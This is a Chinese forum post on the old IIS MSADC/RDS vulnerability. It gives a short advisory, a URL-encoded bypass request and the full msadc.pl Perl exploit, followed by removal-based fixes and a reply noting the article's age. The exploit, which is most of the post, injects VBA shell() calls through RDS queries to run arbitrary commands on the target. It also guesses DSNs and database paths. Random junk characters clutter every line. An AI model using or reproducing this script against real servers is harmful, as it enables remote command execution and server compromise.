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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) Xg](V.B6  
:tv:46+s=  
涉及程序: )AX0x1I|E  
Microsoft NT server Pd,+= ML  
NVTNjDF%s  
描述: cvf@B_iN9  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 YRkp(}*!\  
$SP*hkU  
详细: jf_0IE  
如果你没有时间读详细内容的话,就删除: 0S{dnp  
c:\Program Files\Common Files\System\Msadc\msadcs.dll J5J$qCJq  
有关的安全问题就没有了。 }Z|uLXaz  
xKKR'v:o\  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 Or0eY#c  
:OF:(,J  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 qrFC4\q}  
关于利用ODBC远程漏洞的描述,请参看: g' xR$6t  
q=M\#MlL0'  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm q 16jL,i  
a!;]9}u7  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 @Gs*y1  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp ?H c~ 3  
S<hj6A  
这里不再论述。 `o9vE0^T<  
q;))3aQe  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: 5 W<\J  
yMQuM :d  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset  M>mk=-l  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! 6~ *w~U  
Wp0e?bK_  
Z=ayVsJ3  
#将下面这段保存为txt文件,然后: "perl -x 文件名" q<YteuZJ,  
MI|51&m  
#!perl vZdn  
# Fb<r~2  
# MSADC/RDS 'usage' (aka exploit) script FBjIft5e  
# AC=/BU3<yc  
# by rain.forest.puppy RP 2MtP"M  
# d(>7BV  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me mulK(mp  
# beta test and find errors! <p48?+K9  
~zklrBn&  
use Socket; use Getopt::Std; +\`D1d@  
getopts("e:vd:h:XR", \%args); t|gEMDGa3  
sckyG  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; KfU4#2}  
(c /H$'  
if (!defined $args{h} && !defined $args{R}) { nt,tM/  
print qq~ %$b)l? !  
Usage: msadc.pl -h <host> { -d <delay> -X -v } "t<$ {  
-h <host> = host you want to scan (ip or domain) @j%r6N  
-d <seconds> = delay between calls, default 1 second \dyJ=tg  
-X = dump Index Server path table, if available _E e`Uk  
-v = verbose _}X_^taTZS  
-e = external dictionary file for step 5 5Rv6+d  
s!\uR.  
Or a -R will resume a command session Y$%/H"1bk  
*E<%db C2  
~; exit;} Ni$WI{e9  
YfC1.8  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; xw*T? !r=V  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} _P!J0  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} `.z;.&x  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); +Y!9)~f}7X  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} KzeTf?G  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } 360V  
O a_2J#~$  
if (!defined $args{R}){ $ret = &has_msadc; >EFjyhVE  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} / r#.BXP  
sXzxEhp  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" h1.]Nl C  
. "cmd /c "; |x|#n  
$in=<STDIN>; chomp $in; 0`=#1u8  
$command="cmd /c " . $in ; '`q&UPg]  
L\||#w   
if (defined $args{R}) {&load; exit;} P8K{K:T  
J4qFU^  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; \(t.|  
&try_btcustmr; .+<Ul ]e/  
T}(J`{ 9i  
print "\nStep 2: Trying to make our own DSN..."; .6%-Il  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; =,0E]M Z  
QN_Zd@K*A  
print "\nStep 3: Trying known DSNs..."; Zx(VwB2   
&known_dsn; 1F*gPhm  
y]5O45E0  
print "\nStep 4: Trying known .mdbs..."; \ajy%$;$}  
&known_mdb; .jRp.U  
3^l@!Qw  
if (defined $args{e}){ o5gt`H"  
print "\nStep 5: Trying dictionary of DSN names..."; u8pJjn;  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } !/G2vF"  
MXY[t  
print "Sorry Charley...maybe next time?\n"; YC#N],#  
exit; 1u&}Lq(  
&g R+D  
############################################################################## B1>aR 7dsf  
G(F }o]  
sub sendraw { # ripped and modded from whisker u1F@VV{  
sleep($delay); # it's a DoS on the server! At least on mine... rvZXK<@#+  
my ($pstr)=@_; ^ZX71-  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || :T(3!}4  
die("Socket problems\n"); UD`bK a`E  
if(connect(S,pack "SnA4x8",2,80,$target)){ @K; 4'b~  
select(S); $|=1; m @) ~.E  
print $pstr; my @in=<S>; t W ;1  
select(STDOUT); close(S); ; F% 3b47  
return @in; hER]%)#r  
} else { die("Can't connect...\n"); }} Z-W>WR  
4(>|f_$  
############################################################################## e[f}Lxln  
:,03)[u{8  
sub make_header { # make the HTTP request ?4Z`^uy  
my $msadc=<<EOT LIYj__4=|  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 F)'kN2  
User-Agent: ACTIVEDATA H'E(gc)>)  
Host: $ip S%zn {1F  
Content-Length: $clen 7 sv 3=/`  
Connection: Keep-Alive !t/I j~o  
hw/ :  
ADCClientVersion:01.06 c3,YA,skb!  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 x5[wF6A  
555j@  
--!ADM!ROX!YOUR!WORLD! `R@1Sc<*|  
Content-Type: application/x-varg K TJm[44  
Content-Length: $reqlen YCr:nYm<f  
*#p}>\Y{  
EOT ^ Q]I)U  
; $msadc=~s/\n/\r\n/g; LUSBRr8  
return $msadc;} 'jAX&7G`  
,TL8`  
############################################################################## BEWDTOY[  
,@1rP55  
sub make_req { # make the RDS request #[$^M:X.  
my ($switch, $p1, $p2)=@_; r'!L}^n  
my $req=""; my $t1, $t2, $query, $dsn; F uYjrzmx  
j4pxu/2  
if ($switch==1){ # this is the btcustmr.mdb query /dGpac  
$query="Select * from Customers where City=" . make_shell(); s6=jHrdvv  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . ;7,>2VTm  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} !R@v\Eu  
E6+c{41B  
elsif ($switch==2){ # this is general make table query /G*]3=cSe  
$query="create table AZZ (B int, C varchar(10))"; Egy#_ RT{  
$dsn="$p1";} )LOV)z|}  
44@yQ?  
elsif ($switch==3){ # this is general exploit table query a}(xZ\n^D;  
$query="select * from AZZ where C=" . make_shell(); 8zhr;Srt  
$dsn="$p1";} O7DaVlln  
G,o5JL"t  
elsif ($switch==4){ # attempt to hork file info from index server VINb9W}G[  
$query="select path from scope()"; JTg:3<L  
$dsn="Provider=MSIDXS;";} GnTCq_\  
Owd{;  
elsif ($switch==5){ # bad query D1G9^7:^E  
$query="select"; wz[Xay9jW  
$dsn="$p1";} rnNB!T   
4v[Zhf4JM  
$t1= make_unicode($query); ?rauhTVnJ  
$t2= make_unicode($dsn); @J~hi\&`  
$req = "\x02\x00\x03\x00"; LR`]C]  
$req.= "\x08\x00" . pack ("S1", length($t1)); MKiP3kt8  
$req.= "\x00\x00" . $t1 ; C[X2]zr  
$req.= "\x08\x00" . pack ("S1", length($t2)); M%{,?a0V  
$req.= "\x00\x00" . $t2 ; U+[ p>iP  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; Go;fQ yG  
return $req;} wlC7;u  
8&q[jxI@8  
############################################################################## <PMQ$s>KK  
/Py1Q  
sub make_shell { # this makes the shell() statement /7[U J'  
return "'|shell(\"$command\")|'";} >~+qU&'2  
$X\deJ1Hi  
############################################################################## ]7|Zs]6  
cmcR @zv  
sub make_unicode { # quick little function to convert to unicode 8bTE# 2+-  
my ($in)=@_; my $out; ] Hiw+5n  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } Bjc<d,]  
return $out;} [\BLb8  
P >>VBh?  
############################################################################## +H**VdM6s  
woyn6Z1JQ  
sub rdo_success { # checks for RDO return success (this is kludge) bI?uV;m>  
my (@in) = @_; my $base=content_start(@in); n.l7V<1  
if($in[$base]=~/multipart\/mixed/){ 8~!9bg6C  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} bCfw,V{sce  
return 0;} cLm|^j/  
/:GeXDJw  
############################################################################## goje4;  
&x.n>O  
sub make_dsn { # this makes a DSN for us qGkD] L  
my @drives=("c","d","e","f"); is6M{K3  
print "\nMaking DSN: "; !kQJ6U  
foreach $drive (@drives) { =6O<1<[y  
print "$drive: "; hd%O\D?  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . qA>C<NL  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" M{)|9F  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); Mh@RO|F  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; LUKt!I0l  
return 0 if $2 eq "404"; # not found/doesn't exist <(tnClAn  
if($2 eq "200") { 79d< ,q;uR  
foreach $line (@results) { AYHefAF<w  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} UZ-[vD1n  
} return 0;} *wl&Zzx  
c.{t +OR  
############################################################################## G_v^IM#B=  
X$(YCb  
sub verify_exists { As+^6  
my ($page)=@_; t2hI^J0y  
my @results=sendraw("GET $page HTTP/1.0\n\n"); LA4,o@V`  
return $results[0];} d Z P;f^^  
'q7&MM'oS^  
############################################################################## 5-! Zm]  
8c<OX!  
sub try_btcustmr { Xu%8Q?]  
my @drives=("c","d","e","f"); z+{Q(8'b]  
my @dirs=("winnt","winnt35","winnt351","win","windows"); XGSgx  
r68d\N`.  
foreach $dir (@dirs) { %mNd9 ]<  
print "$dir -> "; # fun status so you can see progress XLj|y#h  
foreach $drive (@drives) { n0vhc;d  
print "$drive: "; # ditto LPS]TG\  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; 2|JtRE+  
$reqlenlen=length( "$reqlen" ); OR<%h/ \f  
$clen= 206 + $reqlenlen + $reqlen; .9$ 7 +  
"W@>lf?"  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); 4|/=]w  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} qK,PuD7i"  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} !CUX13/0  
h"4i/L3aAh  
############################################################################## W;QU6z>  
2yPF'Q7u_.  
sub odbc_error { @2/ xu  
my (@in)=@_; my $base; 6\NBU,lY  
my $base = content_start(@in); y1t,i. [  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this bq"dKN`  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; >slGicZ0  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; C7_nA:Rc  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; g;\_MbfP  
return $in[$base+4].$in[$base+5].$in[$base+6];} d#u*NwY}  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; &b=OT%D~FU  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . fT0+i nRG  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} Dz<vIMLF{  
x]pZcx9  
############################################################################## U$EQeb  
^$~&e :{  
sub verbose { ANlzF& K  
my ($in)=@_; }q=uI`  
return if !$verbose; U^d!*9R  
print STDOUT "\n$in\n";} *5q_fO  
Fg^Z g\X3  
############################################################################## Tw@:sWC  
'=cAdja  
sub save { .aD=d\  
my ($p1, $p2, $p3, $p4)=@_; fB`7f $[  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; Ht&%`\9s  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; e8VtKVcY  
close OUT;} -b'a-?  
(<ngdf`,  
############################################################################## Bw4 _hlm  
'WcP+4c  
sub load { {7d\du&G  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; V[avV*;3i  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); +uB.)wr  
@p=<IN>; close(IN); }<mK79m  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); mecm,xwm  
$target= inet_aton($ip) || die("inet_aton problems"); lJdwbuB6  
print "Resuming to $ip ..."; xF7q9'/F  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; E2( {[J  
if($p[1]==1) { C~8;2/F7  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; f<Xi/ (  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; -"/l)1ox,  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); t+2,;G  
if (rdo_success(@results)){print "Success!\n";} 1LonYAHF  
else { print "failed\n"; verbose(odbc_error(@results));}} iU"{8K,  
elsif ($p[1]==3){ %-#rzeaW  
if(run_query("$p[3]")){ f]DO2 r  
print "Success!\n";} else { print "failed\n"; }} $uCY\ xqZ  
elsif ($p[1]==4){ Nj$h/P  
if(run_query($drvst . "$p[3]")){ s#%P9A  
print "Success!\n"; } else { print "failed\n"; }} S%2qX"8  
exit;} <S(`e/#[  
7(]M`bBH  
############################################################################## &*;E wfgZ  
nYts[f9e  
sub create_table { cB|Rj}40v  
my ($in)=@_; :WAFBK/x  
$reqlen=length( make_req(2,$in,"") ) - 28; O%p+P<J  
$reqlenlen=length( "$reqlen" );  d>}R3T  
$clen= 206 + $reqlenlen + $reqlen; sX|bp)Nw  
my @results=sendraw(make_header() . make_req(2,$in,"")); 8mv}-;  
return 1 if rdo_success(@results); *."a>?D~  
my $temp= odbc_error(@results); verbose($temp); T Y*uK  
return 1 if $temp=~/Table 'AZZ' already exists/; T5? eb"  
return 0;} kC=h[<'  
be+tAp`  
############################################################################## } TsND6Ws3  
3B3l)eX  
sub known_dsn { A v[|G4n  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go OpxJiu=W  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", &]P1IQ  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", XWYLa8Ef  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); iw0|A  
~#nbD-*#  
foreach $dSn (@dsns) { ]97`=,OUg  
print "."; 'X/(M<c  
next if (!is_access("DSN=$dSn")); 7MhN>a;A\  
if(create_table("DSN=$dSn")){ y)0wM~E;2  
print "$dSn successful\n"; $p~X"f?0  
if(run_query("DSN=$dSn")){ {p)=#Jd`.P  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 2y@y<38  
print "Something's borked. Use verbose next time\n";}}} print "\n";} !1fAW! 8  
}8)iFP&"  
############################################################################## +nm?+ F  
\p{$9e;8yT  
sub is_access { khS >  
my ($in)=@_; boWaH}?0'  
$reqlen=length( make_req(5,$in,"") ) - 28; kbKGGn4u  
$reqlenlen=length( "$reqlen" ); 6qq{JbK  
$clen= 206 + $reqlenlen + $reqlen; Nd;,Wz]  
my @results=sendraw(make_header() . make_req(5,$in,"")); ~2M+Me  
my $temp= odbc_error(@results); _~a5;[~  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); '1[Bbs  
return 0;} Q|i`s=|  
O&ZVu>`g  
############################################################################## Yo a|.2f  
K f}h{X  
sub run_query { >gGdzL  
my ($in)=@_; L6IF0`M<,I  
$reqlen=length( make_req(3,$in,"") ) - 28; eO?@K$I  
$reqlenlen=length( "$reqlen" ); - A)XYz  
$clen= 206 + $reqlenlen + $reqlen; " UxKG+   
my @results=sendraw(make_header() . make_req(3,$in,"")); I%gDqfdL  
return 1 if rdo_success(@results); GZk{tTv  
my $temp= odbc_error(@results); verbose($temp); qTi%].F"G  
return 0;} SVj4K \F  
@o4n!Ip2x/  
############################################################################## 2:tO"   
,BuEX#ZaBl  
sub known_mdb { Az4a|.  
my @drives=("c","d","e","f","g"); NkL>ru!b9  
my @dirs=("winnt","winnt35","winnt351","win","windows"); J~(M%] &k^  
my $dir, $drive, $mdb; -wUw)gJbM  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; o.M.zkP a  
mmx; Vt$i  
# this is sparse, because I don't know of many . Q$/\E  
my @sysmdbs=( "\\catroot\\icatalog.mdb", gRQV)8uh  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", ylVBK{w9  
"\\system32\\certmdb.mdb", =VPJ m\*V  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% m* JbZT  
r8Pdk/CW^  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", /FW{>N1   
"\\cfusion\\cfapps\\forums\\forums_.mdb", U5pg<xI  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", G'0]m-)dw  
"\\cfusion\\cfapps\\security\\realm_.mdb", U?sio%`(  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", JtGBNz!"  
"\\cfusion\\database\\cfexamples.mdb", z4iZE*ZS  
"\\cfusion\\database\\cfsnippets.mdb", ~ $QNp#dq  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", HI*j6H?\  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", $ ";NS6 1  
"\\cfusion\\brighttiger\\database\\cleam.mdb", G@I/Dy  
"\\cfusion\\database\\smpolicy.mdb",  :bBMy\(u  
"\\cfusion\\database\cypress.mdb", SXx;- Ws  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", 3Z-N*bhC  
"\\website\\cgi-win\\dbsample.mdb", $S_G:}tna  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", "Z70 jkW[  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" c>pbRUMH  
); #these are just cBz_L"5vr[  
foreach $drive (@drives) { UKfpoDhEe  
foreach $dir (@dirs){ fjwUh>[ }  
foreach $mdb (@sysmdbs) { pJ ;4rrSK  
print "."; |\iJ6m;a  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ 3,4m|Z2)  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; V-.Nc#  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ D8,V'n>L  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; d-BUdIz  
} else { print "Something's borked. Use verbose next time\n"; }}}}} l7M![Ur  
4!^flKZQ  
foreach $drive (@drives) { oNK-^N?-T  
foreach $mdb (@mdbs) { B`1"4[{  
print "."; `-QY<STTP9  
if(create_table($drv . $drive . $dir . $mdb)){ UYW{A G2C  
print "\n" . $drive . $dir . $mdb . " successful\n"; , s .{R  
if(run_query($drv . $drive . $dir . $mdb)){ Weu%&u-  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; P@pJ^5Jf  
} else { print "Something's borked. Use verbose next time\n"; }}}} ,[t>N>10TH  
} v#WD$9QWs  
T>\ r}p  
############################################################################## Sm(t"#dp  
oA'LQ  
sub hork_idx { gHe%N? '  
print "\nAttempting to dump Index Server tables...\n"; QGI_aU  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; E,g5[s@  
$reqlen=length( make_req(4,"","") ) - 28; r"aJ&~8::W  
$reqlenlen=length( "$reqlen" ); :L'U>)k  
$clen= 206 + $reqlenlen + $reqlen; Y,;$RV@g  
my @results=sendraw2(make_header() . make_req(4,"","")); #k*P/I~  
if (rdo_success(@results)){ xY,W[?3CY  
my $max=@results; my $c; my %d; ZB@Bj>,b p  
for($c=19; $c<$max; $c++){ >ho$mvT  
$results[$c]=~s/\x00//g; yYri.n  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; \~bx%VWW4  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; 4(O;lVT}  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; s_`=ugue  
$d{"$1$2"}="";} k5ZkD+0Jo  
foreach $c (keys %d){ print "$c\n"; } `SH#t3 5,  
} else {print "Index server doesn't seem to be installed.\n"; }} P6 & _q  
&hri4p/  
############################################################################## uBXl ltU  
E` aAPk_ y  
sub dsn_dict { e"]*^Q  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); F^bzE5#  
while(<IN>){ &9:"X  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; ^N`bA8  
next if (!is_access("DSN=$dSn")); ZlxJY%o eu  
if(create_table("DSN=$dSn")){ s1| +LT ,D  
print "$dSn successful\n"; r"uOf;m  
if(run_query("DSN=$dSn")){ X5`#da  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { c4AkH|  
print "Something's borked. Use verbose next time\n";}}} 1y)|m63&  
print "\n"; close(IN);} }jWZqIqj  
S85}&\m&4  
############################################################################## dD{{G :V  
@cz\'v6E  
sub sendraw2 { # ripped and modded from whisker a$K.Or}  
sleep($delay); # it's a DoS on the server! At least on mine... = ^OXP+o  
my ($pstr)=@_; j9XRC9   
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || eYD|`)-f<^  
die("Socket problems\n"); JE$aYs<(TF  
if(connect(S,pack "SnA4x8",2,80,$target)){ 9=wt9` ?  
print "Connected. Getting data"; j4hiMI;  
open(OUT,">raw.out"); my @in; RCvf@[y4  
select(S); $|=1; print $pstr; / Q8glLnM  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} KNZN2N)wR  
close(OUT); select(STDOUT); close(S); return @in; $Z8=QlG>  
} else { die("Can't connect...\n"); }} yu>DVD  
FBCi,_ \4  
############################################################################## (" ,(@nS  
Oi~ ]~+2  
sub content_start { # this will take in the server headers @C34^\aH+  
my (@in)=@_; my $c; ^A"TY  
for ($c=1;$c<500;$c++) { sMhUVc4  
if($in[$c] =~/^\x0d\x0a/){ b9(_bsc  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } q=H dGv  
else { return $c+1; }}} 9N kr=/I"P  
return -1;} # it should never get here actually ^Cm9[1p  
2kS]:4)T  
############################################################################## ARt+"[.*p  
V7\@g  
sub funky { qbwX*E~ ;  
my (@in)=@_; my $error=odbc_error(@in); ZI8*PX%2  
if($error=~/ADO could not find the specified provider/){ ;jEDGKLq  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; 7Y>17=|  
exit;} GV aIZh<  
if($error=~/A Handler is required/){ S3oSc<&2  
print "\nServer has custom handler filters (they most likely are patched)\n"; vg6 ' ^5S7  
exit;} jZX2)#a!  
if($error=~/specified Handler has denied Access/){ hCcAAF*I;5  
print "\nServer has custom handler filters (they most likely are patched)\n"; #A RQB2V  
exit;}} ,%zU5hh  
nn0`A3  
############################################################################## ygA~d9"  
WHM|kt  
sub has_msadc { N7b+GqYpF>  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); 37S  bF,G  
my $base=content_start(@results); 'p{N5eM  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); {d%% nK~  
return 0;} H(~:Ajj+zQ  
?^< E#2a  
######################## IJ`%Zh{f  
G; *jL4  
<+tSTc4>r  
解决方案: l; ._ ?H  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll o JLpFL  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 Pr%Y!|  
TBGN',,  
拿出来充数 哈哈
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